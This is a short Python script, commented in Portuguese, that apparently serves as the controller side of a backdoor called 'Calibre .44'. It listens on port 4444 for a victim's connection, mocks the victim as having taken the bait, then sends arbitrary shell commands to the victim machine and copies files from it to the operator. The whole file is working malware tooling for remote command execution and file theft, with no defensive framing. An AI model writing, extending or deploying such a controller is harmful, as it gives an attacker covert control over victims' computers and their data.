#-*-coding: utf-8-*-
## cal44 by: felipe silva
#########################
print("[]--- Calibre .44 backdoor by: felipe silva ---[]")
import socket
host = "SEU IP AQUI ENTRE ASPAS"
port = 4444
addr = ((host, port))
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as net:
  net.bind(addr)
  net.listen(1)
  print("Aguardando conexao com alvo...")
  con, status = net.accept()
  print("Conectado com: ", status)
  print("O imbecil mordeu a isca, vamos prosseguir!")
  while True:
    cmd = input("SHELL> ")
    if cmd == "close":
      con.send("close".encode("utf-8"))
      exit(0)
    elif cmd == "copy":
      # 1 entra no if função copy
      con.send("copy".encode("utf-8"))
      # 2 envia caminho do arquivo
      cam = input("Arquivo para copia> ")
      fs = input("Novo arquivo> ")
      con.send(cam.encode("utf-8"))
      # 3 cria novo arquivo vazio para copia
      with open(fs, "wb") as arq:
        # salva dados
        recebe = con.recv(4096)
        arq.write(recebe)
		  
    else:
      con.send(cmd.encode("utf-8"))  
      rc = con.recv(4096)
      print(rc.decode("utf-8"))
